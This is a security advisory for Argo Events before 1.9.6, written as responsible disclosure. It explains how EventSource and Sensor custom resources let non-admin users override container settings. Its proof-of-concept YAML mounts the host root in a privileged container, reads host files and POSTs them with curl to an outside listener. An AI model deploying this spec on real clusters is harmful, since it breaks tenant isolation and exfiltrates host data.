GHSA-hmp7-x699-cvhq Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR

• Go github.com/argoproj/argo-events: < 1.9.6 → fixed in 1.9.6

Summary: A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. Details: The `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below. ```golang if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil { if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil { return nil, err } } ``` With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`. Here is an example that demonstrates the vulnerability. ``` apiVersion: argoproj.io/v1alpha1 kind: EventSource metadata: name: poc-vulnerable-eventsource spec: webhook: security-test: port: "12000" endpoint: "/webhook" template: container: image: ubuntu:latest command: ["/bin/bash"] args: [ "-c", "apt-get update && apt-get install -y curl && while true; do rm -f /tmp/data; echo '=== containerd socket ===' > /tmp/data 2>&1; ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1; echo '=== proof of host access ===' >> /tmp/data 2>&1; cat /host/etc/hostname >> /tmp/data 2>&1; curl -X POST --data-binary @/tmp/data http://:8000/; sleep 300; done" ] securityContext: privileged: true capabilities: add: ["SYS_ADMIN"] volumeMounts: • name: host-root mountPath: /host volumes: • name: host-root hostPath: path: / ``` Impact: • Multi-tenant Clusters: • Tenant isolation broken • Non-admin users can gain host/cluster access • Access to other tenants' data • Security Model Bypass: • RBAC restrictions circumvented • Pod Security Policies/Standards bypassed • Host system compromised Patches A patch for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed. `v1.9.6` Credits This vulnerability was found & reported by: @thevilledev The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.